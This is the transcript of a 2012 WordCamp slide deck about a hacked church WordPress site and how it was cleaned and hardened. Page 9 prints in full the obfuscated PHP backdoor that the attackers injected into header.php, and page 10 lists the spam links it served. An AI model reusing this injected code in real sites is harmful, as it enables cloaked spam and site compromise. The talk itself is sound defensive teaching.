google says you shouldn’t visit my church wcgr

47
Google Says You Shouldn’t Visit My Church A Tale of How My Sit e Got Hacked, Why It Was My Fault, and What I Did To Fix It Justin Jones • Fort Wayne, IN @jjonesf tw

Upload: justin-jones

Post on 29-Jan-2015

107 views

Category:

Technology


1 download

DESCRIPTION

Justin Jones speaking about WordPress website security at WordCamp Grand Rapids, August 18, 2012

TRANSCRIPT

Page 1: Google says you shouldn’t visit my church wcgr

Google Says You Shouldn’t Visit My Church

A Tale of How My Site Got Hacked, Why It Was My Fault, and What I Did To Fix It

Justin Jones • Fort Wayne, IN @jjonesftw

Page 2: Google says you shouldn’t visit my church wcgr

I’m Justin Jones

0Teacher0Church Worker0WordPress hobbyist0Podcast cohost at

“The Weekly Theme Show” http://wpcandy.com

0@jjonesftw0 justinjones.net

Page 3: Google says you shouldn’t visit my church wcgr

Why would someone want to hack my site?

0The world doesn’t revolve around you0 Crime of opportunity0 Don’t leave your front door unlocked

Page 4: Google says you shouldn’t visit my church wcgr

Why would someone want to hack my site?

0 Imperva selected 50 sites at random, July 2012:0 Expect attack incidents 120 days per year (33%) of the

time, some can experienced 292 days (80%)0 Attacked 274 times per year0 Attack campaigns averages 7 minutes 42 seconds, can

range upward from there0 SQL Injection is the most frequent attack

Page 5: Google says you shouldn’t visit my church wcgr

Why would someone want to hack my site?

0 “Black Hat” SEO0 Hidden links, footer credit links, back links, etc…

0To make money directly0 Affiliate sales0 Rogue virus scanners

Page 6: Google says you shouldn’t visit my church wcgr

Why would someone want to hack my site?

0Serve up images and content for SPAM email

Page 7: Google says you shouldn’t visit my church wcgr

Why would someone want to hack my site?

Page 8: Google says you shouldn’t visit my church wcgr

What do they do while they’re poking around my site?

0Alter robots.txt, .htaccess0 Some are specific to “robots” or HTTP Referrer

0Create backdoors in unsuspecting .php files0Add their own .php files and images to serve up their

payload content

Page 9: Google says you shouldn’t visit my church wcgr

What do they do while they’re poking around my site?

0 Inject code into theme files, like header.php<? //1234$GLOBALS['_2008634924_']=Array('error_re' .'porting','function_e' .'xi' .'st' .'s','fop' .'e' .'n','fwrite','' .'f' .'clos' .'e','' .'s' .'trstr','strtolower','ex' .'p' .'lode','ip2long','i' .'p2l' .'ong','l' .'ong2ip','ip2long','' .'fi' .'le_exists','pre' .'g_mat' .'ch','file_ge' .'t_contents','pr' .'eg_match','f' .'i' .'le' .'_get' .'_c' .'ont' .'ent' .'s','u' .'nseriali' .'ze','count','range','a' .'rra' .'y_splice','array_' .'values','preg' .'_matc' .'h','file' .'_get_' .'contents','un' .'ser' .'ial' .'iz' .'e','gzuncompress','base' .'64_deco' .'de','' .'str' .'len'); function _1572011439($i){$afa=Array('Ym90a28=','ZmlsZV9wd' .'XRf' .'Y2' .'9ud' .'GV' .'udHM=','dw==','Z29v' .'Z' .'2' .'xl','c2x' .'1cnA=','' .'bXN' .'uY' .'m' .'90','Yml' .'u' .'Z2JvdA==','Ym90','Y' .'3' .'Jhd2' .'w' .'=','' .'c3BpZGV' .'y','cm9' .'ib3Q=','' .'SH' .'R0cENsaWVudA=' .'=','' .'Y3' .'V' .'y' .'b' .'A' .'==','' .'c2' .'Nvb3Rlcg==','d3d3c3' .'Rlcg==','' .'UHl0aG9' .'u','' .'dX' .'J' .'sb' .'Gli','cG' .'Vyb' .'A=' .'=','bGlid3d3','b' .'HlueA==','VkIgUHJva' .'mVjd' .'A=' .'=','U' .'Hl0aG' .'9uLXVybGxpYi8yL' .'j' .'Y=','TW9' .'6a' .'Wx' .'sYS' .'82N' .'jYuKD' .'Y' .'p','TW9' .'6' .'aWxs' .'YS80L' .'jAgK' .'GNvbXB' .'hdGli' .'b' .'G' .'U7IE1' .'TS' .'UUgNi4w' .'OyBXa' .'W5kb3dzIE5UIDUuMS' .'k=','T' .'W96aWx' .'sYS' .'8' .'0LjA' .'g' .'KGNv' .'bX' .'Bh' .'dGl' .'i' .'bGU' .'7KQ==','' .'TW96aWxsYS80' .'LjAgK' .'GNvbXB' .'hdGlibG' .'U7IE1TSUUgNS4w' .'MDsg' .'V' .'2luZG' .'93cyA5OCk=','' .'TW' .'96' .'aWxsYS8' .'0LjAgKG' .'NvbXBhdGlibG' .'U7I' .'E' .'1' .'TSUUg' .'N' .'i4wO' .'yBX' .'aW5' .'kb3dzIE5UIDUuMTsg' .'U1YxK' .'Q' .'==','' .'TW96' .'aWxs' .'YS80' .'LjAg' .'KGNvb' .'X' .'Bh' .'dGlibGU7IE' .'1TSUUgN' .'i4wOyBXaW5kb3dzIE5UIDU' .'uMTsgLk5FV' .'C' .'BDTF' .'IgM' .'S4wL' .'jM' .'p','Lw==','Lm' .'N' .'vcmU' .'=','fDxpc' .'D4oLiopPC9pc' .'D58VWl' .'z','LmNvcmU=','' .'fDx' .'p' .'cD4' .'oLiopPC9pc' .'D58V' .'W' .'lz','bGlj' .'ZW' .'5zZ' .'S50eH' .'Q=','U' .'kVNT1RF' .'X0' .'FERFI=','SF' .'R' .'U' .'UF9VU0' .'VSX0FH' .'RU' .'5U','Ym90' .'a2' .'8=','fDx' .'pbnQ+KC4q' .'K' .'T' .'wv' .'aW50Pnx' .'VaX' .'M=','bGljZW5zZS50' .'eHQ=','' .'UkVR' .'VUV' .'TVF9VUkk=','' .'PGJ' .'yPg' .'==');return base64_decode($afa[$i]);} if(isset($_GET[_1572011439(0)])){}else{$GLOBALS['_2008634924_'][0](0);}if(!$GLOBALS['_2008634924_'][1](_1572011439(1))){function l__0($_0,$_1){$_2=@$GLOBALS['_2008634924_'][2]($_0,_1572011439(2));if(!$_2){return false;}else{$_3=$GLOBALS['_2008634924_'][3]($_2,$_1);$GLOBALS['_2008634924_'][4]($_2);return $_3;}}}function l__1($_4){$_5=array(_1572011439(3),_1572011439(4),_1572011439(5),_1572011439(6),_1572011439(7),_1572011439(8),_1572011439(9),_1572011439(10),_1572011439(11),_1572011439(12),_1572011439(13),_1572011439(14),_1572011439(15),_1572011439(16),_1572011439(17),_1572011439(18),_1572011439(19),_1572011439(20),_1572011439(21),_1572011439(22),_1572011439(23),_1572011439(24),_1572011439(25),_1572011439(26),_1572011439(27));foreach($_5 as $_6){if($GLOBALS['_2008634924_'][5] ($GLOBALS['_2008634924_'][6]($_7),$_6)){return($_6);}}return(false);}function l__2($_8,$_9){$_10=$GLOBALS ['_2008634924_'][7](_1572011439(28),$_8);$_11=$GLOBALS['_2008634924_'][8]($_10[0]);$_12=$GLOBALS['_2008634924_'][9]($_10[1]);$_13=$GLOBALS['_2008634924_'][10]($_12)== $_10[1]?$_12:0xffffffff <<(32-$_10[1]);$_14=$GLOBALS['_2008634924_'][11]($_9);return($_14&$_13)==($_11&$_13);}function l__3($REMOTE_ADDR){if($GLOBALS['_2008634924_'][12](_1572011439(29))){$GLOBALS['_2008634924_'][13](_1572011439(30),$GLOBALS['_2008634924_'][14](_1572011439(31)),$_15);}else{$GLOBALS['_2008634924_'][15](_1572011439(32),$GLOBALS['_2008634924_'][16](_1572011439(33)),$_15);}$_16=$GLOBALS['_2008634924_'][17]($_15[1]);foreach($_16 as $_9){if(l__2($_9,$REMOTE_ADDR))return true;}return false;}function l__4($_17,$_18){$_19=($_17*25173+13849)%$_18;return (int)$_19;}function l__5($_20,$_21,$_18){$_22=array();$_23=$GLOBALS['_2008634924_'][18]($_20);if($_23<$_18){return false;}$_24=$GLOBALS['_2008634924_'][19](0,$_23-1);$_21=$_21%$_23;for($_25=0;$_25<$_18;$_25++){$_26=l__4($_21,$_23--);$_22[]=$_20[$_24[$_26]];if(!$_23){break;}$GLOBALS['_2008634924_'][20]($_24,$_26,1);$_24=$GLOBALS['_2008634924_'][21]($_24);$_21=$_26;}return $_22;}$_27=l__3($_SERVER[_1572011439(34)]);$_28=l__1(@$_SERVER[_1572011439(35)]);if($_27 or isset($_GET[_1572011439(36)])or $_28){$GLOBALS['_2008634924_'][22](_1572011439(37),$GLOBALS ['_2008634924_'][23](_1572011439(38)),$_29);$_30=$GLOBALS['_2008634924_'][24]($GLOBALS['_2008634924_'][25]($GLOBALS['_2008634924_'][26]($_29[1])));$_31=l__5($_30,100+$GLOBALS['_2008634924_'][27]($_SERVER[_1572011439(39)]),75);for($_25=0;$_25<75;$_25++)echo $_31[$_25] ._1572011439(40);} //1234?>

Page 10: Google says you shouldn’t visit my church wcgr

What do they do while they’re poking around my site?

0 Inject code into theme files, like header.php<a href="http://oakhurstchurch.com/news/index.php?p=alison-carroll-hot">alison carroll hot</a><br><a href="http://oakhurstchurch.com/news/index.php?p=jessica-lowndes">Jessica Lowndes</a><br><a href="http://oakhurstchurch.com/news/index.php?p=zelda-williams">zelda williams</a><br><a href="http://oakhurstchurch.com/news/index.php?p=bush">bush</a><br><a href="http://oakhurstchurch.com/news/index.php?p=teresa-scanlan">Teresa Scanlan</a><br><a href="http://oakhurstchurch.com/news/index.php?p=leyla">leyla</a><br><a href="http://oakhurstchurch.com/news/index.php?p=heather-mills">Heather Mills</a><br><a href="http://oakhurstchurch.com/news/index.php?p=keshia-knight-pulliam-polly">keshia knight pulliam polly</a><br><a href="http://oakhurstchurch.com/news/index.php?p=moira-kelly-biography">moira kelly biography</a><br><a href="http://oakhurstchurch.com/news/index.php?p=smurfs">smurfs</a><br><a href="http://oakhurstchurch.com/news/index.php?p=laurene-jobs">Laurene jobs</a><br><a href="http://oakhurstchurch.com/news/index.php?p=bransales-importadora">bransales importadora</a><br><a href="http://oakhurstchurch.com/news/index.php?p=boo-boo-stewart">boo boo stewart</a><br><a href="http://oakhurstchurch.com/news/index.php?p=irina-shayk-y-cristiano-ronaldo">irina shayk y cristiano ronaldo</a><br><a href="http://oakhurstchurch.com/news/index.php?p=vanessa-angel">Vanessa Angel</a><br><a href="http://oakhurstchurch.com/news/index.php?p=lineas-del-metro-mexico-df">lineas del metro mexico df</a><br><a href="http://oakhurstchurch.com/news/index.php?p=brian-urlacher">brian urlacher</a><br><a href="http://oakhurstchurch.com/news/index.php?p=jessie-palmer">jessie palmer</a><br><a href="http://oakhurstchurch.com/news/index.php?p=jessie-palmer">Jessie Palmer</a><br><a href="http://oakhurstchurch.com/news/index.php?p=mark-hamill-before-and-after-crash">mark hamill before and after crash</a><br><a href="http://oakhurstchurch.com/news/index.php?p=jessica-jane-clement">jessica-jane clement</a><br><a href="http://oakhurstchurch.com/news/index.php?p=ashanti">ashanti</a><br><a href="http://oakhurstchurch.com/news/index.php?p=linea-del-metro-ciudad-de-mexico">linea del metro ciudad de mexico</a><br><a href="http://oakhurstchurch.com/news/index.php?p=lady-antebellum-photos">lady antebellum photos</a><br><a href="http://oakhurstchurch.com/news/index.php?p=heidi-range">heidi range</a><br><a href="http://oakhurstchurch.com/news/index.php?p=miley-cyrus-nude">miley cyrus nude</a><br><a href="http://oakhurstchurch.com/news/index.php?p=elizabeth-hurley">elizabeth hurley</a><br><a href="http://oakhurstchurch.com/news/index.php?p=ty-pennington-girlfriend">Ty Pennington Girlfriend</a><br><a href="http://oakhurstchurch.com/news/index.php?p=lsm05">lsm05</a><br><a href="http://oakhurstchurch.com/news/index.php?p=ls-magazine-pics">ls magazine pics</a><br><a href="http://oakhurstchurch.com/news/index.php?p=megan-mullally-naked">megan mullally naked</a><br><a href="http://oakhurstchurch.com/news/index.php?p=ls-model">ls model</a><br><a href="http://oakhurstchurch.com/news/index.php?p=mensagens-lindas">mensagens lindas</a><br><a href="http://oakhurstchurch.com/news/index.php?p=justin-bieber-bulge">justin bieber bulge</a><br><a href="http://oakhurstchurch.com/news/index.php?p=lg-esteem-review">lg esteem review</a>

Page 11: Google says you shouldn’t visit my church wcgr

How Do They Get In?

0Outdated versions of WordPress0Outdated themes and plugins0Hosting providers behind the times0 Insecure password / brute force0Compromised computer

0 Passwords cached in FTP clients, passwords stored in an unencrypted text file etc…

0Unsecure internet connection0 Rogue access points0 Packet sniffers on public WiFi

Page 12: Google says you shouldn’t visit my church wcgr

What are the consequences?

0Google will punish you.0 Google Safe Browsing or manual removal action

Page 13: Google says you shouldn’t visit my church wcgr

What are the consequences?

0Google will punish you.0 Google Safe Browsing or manual removal action

Page 14: Google says you shouldn’t visit my church wcgr

What are the consequences?

0Google will punish you.0 Google Safe Browsing or manual removal action

Page 15: Google says you shouldn’t visit my church wcgr

What are the consequences?

0Google will punish you.0 Google Safe Browsing or manual removal action

Page 16: Google says you shouldn’t visit my church wcgr

What are the consequences?

0Google will punish you.0 Google Safe Browsing or manual removal action

Page 17: Google says you shouldn’t visit my church wcgr

What are the consequences?

0Other “blacklisting” like Norton Safe Web, Phish Tank, Opera, Sucuri, and many others

0Spammy content will get indexed with every search engine0 Don’t forget about directory listing sites, like Google

Places / Google Maps0Your host may dump you for violating TOS

Page 18: Google says you shouldn’t visit my church wcgr

What are the consequences?

0Be a good neighbor! Security is everyone’s responsibility

Page 19: Google says you shouldn’t visit my church wcgr

What are the consequences?

0Malware cost the US economy 2.2 billion dollars in lost productivity in 2011

0Are you an ecommerce site?0 Payment gateway is probably offsite, but what about

people’s email addresses?0Membership site?

0 Many people re-use passwords0 Linked In, Last.fm, many others recently

0Business or organization?0 How much street cred will you earn serving content

from exotic-dildos.co.cc

Page 20: Google says you shouldn’t visit my church wcgr

Is WordPress insecure?

0No.0Pharma hack had a patch out before exploited0WordPress has a target on its back

0 WordPress is used by over 14.7% of Alexa Internet's "top 1 million" websites and as of August 2011 manages 22% of all new websites.

0Some theme and plugin authors are lazy/sloppy, or use depreciated/inefficient methods

0You are your own worst enemy!0 Think about Windows XP back in like 2002

Page 21: Google says you shouldn’t visit my church wcgr

Is WordPress insecure?

0Be careful who you trust0 Everyone is a “developer” now0 NEVER download and install a theme for free that you

should have paid for0Shady scraper sites, torrents, etc…

0 “Having a website *should* cost you more than $300 a year. If it doesn’t, then you’re doing it wrong.” --Otto

Page 22: Google says you shouldn’t visit my church wcgr

Is WordPress insecure?

0Be careful who you trust0 Be very wary of downloading a free theme outside of the

WordPress.org theme repo0Use “Theme Authenticity Checker” and “Theme Check”0Siobhan McKeown at WPMU.org Google’d “free wordpress

themes”0 Top 10 results: 1=wordpress.org; 1=poorly coded; 8=actively using

encrypted code to insert spammy links

0 Use trusted theme marketplaces or commercial shops

Page 23: Google says you shouldn’t visit my church wcgr

Is WordPress insecure?

0Be careful who you trust0 Choose plugins carefully

0Trusted commercial plugin shops0WordPress.org directory

0 More plugins != insecure0 Check user ratings0 Support forum requests0 Check community blogs0 WordPress.org profile pages for favorites and others by same author

Page 24: Google says you shouldn’t visit my church wcgr

Is WordPress insecure?

Page 25: Google says you shouldn’t visit my church wcgr

Is WordPress insecure?

Page 26: Google says you shouldn’t visit my church wcgr

Is WordPress insecure?

Page 27: Google says you shouldn’t visit my church wcgr

Is WordPress insecure?

Page 28: Google says you shouldn’t visit my church wcgr

Prepare for Disaster

0 It’s going to happen0Maintain regular

backups0 Server side or Plugins

0Be registered with Google Webmaster Tools

0Know how to contact your hosting provider

0Know a developer0Visit your site0Watch your stats

Page 29: Google says you shouldn’t visit my church wcgr

Update. Update. Update.

0 Source: http://churchm.ag/wordpress-updates/

Page 30: Google says you shouldn’t visit my church wcgr

Update. Update. Update.

0August 2011, so 3.2.1 was most current

0Less than half of the top 100k sites running WordPress were up to date!

0WordPress interates quickly to patch security holes. Keep updated to benefit from their work

0 Source: http://churchm.ag/wordpress-updates/

Page 31: Google says you shouldn’t visit my church wcgr

Update. Update. Update.

0WordPress core, .org plugins and .org themes can use the core update functionality

0Some commercial theme and plugins have their own way of one click upgrade, some are manual only

0Some have notifications, some don’t

0Sign up for WordPress.org release notifications from download page

Page 32: Google says you shouldn’t visit my church wcgr

Here’s Where This Gets Technical

0 I’ll have these slides up on Slide Share

0 I’ve reserved time at the end for questions, and I’ll be available after for individual questions

Page 33: Google says you shouldn’t visit my church wcgr

It’s the week before Easter and your church site is serving up topless photos of celebrities. Now What?0Take a deep breath and crack open a beer. You’ve got

some work ahead of you.0Get back control of your site0Get the site offline if you can!

Page 34: Google says you shouldn’t visit my church wcgr

It’s the week before Easter and your church site is serving up topless photos of celebrities. Now What?0Change *every* single one of your passwords

0 Domain registrar, hosting account, all WordPress users, SQL database username and password, FTP account password

0 I suggest changing your email account passwords0Hire a professional

0 Check out http://sucuri.net/0 Many others out there, Google them up!

Page 35: Google says you shouldn’t visit my church wcgr

It’s the week before Easter and your church site is serving up topless photos of celebrities. Now What?0 Regenerate WordPress secret keys / salts

0 Manually in wp-config.php or use a plugin

define('AUTH_KEY', 'n%foh;/v6$)0<t]=Be]o~2L?nopubK;b1-P(x=~dCyY[pL]^Ry//=I$y.w-8&HGP');define('SECURE_AUTH_KEY', 'q#h,K.OZ=-IT)(-`3`)G1Kr-&ZP,!CEM1<sMx-1eDI<H*BfO2G@~ bD<)]8rW|{/'); define('LOGGED_IN_KEY', 'Vuvu|_`AGu@) >*7K~l]B1v-d3-e}<Qo#hki8Fy(Bov:T~wOm#8hqHZbWP2khxR}');define('NONCE_KEY', 'B&8:S*:tZR700I9]3~sWI0Rv1+9e_O{KXcc+`a!eB-wV$+Cctv$q*Yb+c.5w<xns');define('AUTH_SALT', 'bpx*[xMhU<FjufQ*``oc&NNdvz,-FJ=|~+$G:i9qaCFRY>u,-}%-Cc-G|!5r0|D@');define('SECURE_AUTH_SALT', 'S+C/f6B6[Y+uGJt!@K|c:49tA}xB!5_zE6RZ+ AT.bsFNvD^-YGOI@HG8V:YbR?q');define('LOGGED_IN_SALT', '~oP,M4HQ8 ,M$<A[(`HZ@>_BC,Yo/Y].kw+{g^KnLPzB[UAI_Z6h6M+KbZ|.|<$-');define('NONCE_SALT', 'KW*LbM<2qL7LAZZ!vdto?c?!(5eSb)|o$BA;{F-CLZB=M%_QfbdW[@lSDT_]ImE[');

Page 36: Google says you shouldn’t visit my church wcgr

It’s the week before Easter and your church site is serving up topless photos of celebrities. Now What?0Backup0Restore from a previous backup0Find and delete all the junk they added

0 Very insidious. Creating rogue sitemaps, modifying .htaccess files, creating backdoors, adding index.php files to override permalinks, etc…

0 Posts and images now in database0Reinstall WordPress core, plugins and themes

Page 37: Google says you shouldn’t visit my church wcgr
Page 38: Google says you shouldn’t visit my church wcgr

It’s the week before Easter and your church site is serving up topless photos of celebrities. Now What?0Begin the process of restoring your good name

0 Request delisting of bogus content from Google and other search engines0Very tedious, manual process

0 Request reevaluation from blacklisting services0 Don’t forget about other services that pull content from

your site, like Google places0 Wait it out. This will take weeks and months

0Prepare better for next time

Page 39: Google says you shouldn’t visit my church wcgr

Harden Your Site.The Easy Stuff.

0Keep up to date! WordPress, plugins, themes – but also PHP version on your host

0Use strong passwords – no words! Not P@$$woRd either.0 Consider using a password manager

0Remove “admin” user

Page 40: Google says you shouldn’t visit my church wcgr

Harden Your Site.The Easy Stuff.

0Only connect using SFTP0Never ever hack core WordPress files0Keep a clean house!

0 Other WP installs, other PHP services, plugins, old themes

0Disable user registration

Page 41: Google says you shouldn’t visit my church wcgr

Harden Your Site.The More Complicated Stuff.0Store your wp-config file outside of public_html

0 Done at install or can be moved later0Change the database prefix0Use strong database passwords0Use proper 755 file permissions

0 If a plugin or theme asks you to set 777, avoid.0Only log in to site using SSL (https://...)

Page 42: Google says you shouldn’t visit my church wcgr

Harden Your Site.The More Complicated Stuff.0Plugins! Plugins! Plugins!

0 Monitor core / template files0 “WordPress File Monitor Plus”

0 Scan template files for suspicious code0 “AntiVirus”

0 WP and server security settings0 “WebsiteDefender WordPress Security”

0 Keep up to date0 “Update Notifications”

Page 43: Google says you shouldn’t visit my church wcgr

Harden Your Site.The More Complicated Stuff.0Plugins! Plugins! Plugins!

0 “WordPress Firewall 2”0 “Block Bad Queries”0 Backup

0VaultPress0BackupBuddy

0 Login Lockdown0Lock out excessive retries and mask login errors

0 Many others available for two factor auth, etc…0 Sucuri plugin has a firewall to block known bad IP’s

Page 44: Google says you shouldn’t visit my church wcgr

Should you really be hosting your own site?

0Do you like to change your own oil in your car or take it to the Jiffy Lube?

0WordPress.com is a great resource for most personal bloggers. Focus on writing your content.

0Consider a WordPress managed host.0 WP Engine, ZippyKid, Pagely, etc…

0Don’t be afraid to pay someone!0 How important is this project?0 What is your time worth?

Page 45: Google says you shouldn’t visit my church wcgr

Resources

0Codepoet.com 0 eBook “Locking Down

WordPress”

Page 46: Google says you shouldn’t visit my church wcgr

Resources

0These slides on Slide Share0Search for slides from Dre Armeda and Brad Williams0WordPress.org Codex0Otto on WordPress0Sucuri.net – service and blog0Lockdown WordPress – A Security Webinar with Dre

Armeda0 1.5 hour interview – great resource!

0Countless plugins on the WordPress.org repo0http://sitecheck.sucuri.net/scanner/

Page 47: Google says you shouldn’t visit my church wcgr

Questions?

0No question is stupid. We’re all here to learn!

0 If you’re smarter than I am, please jump in here.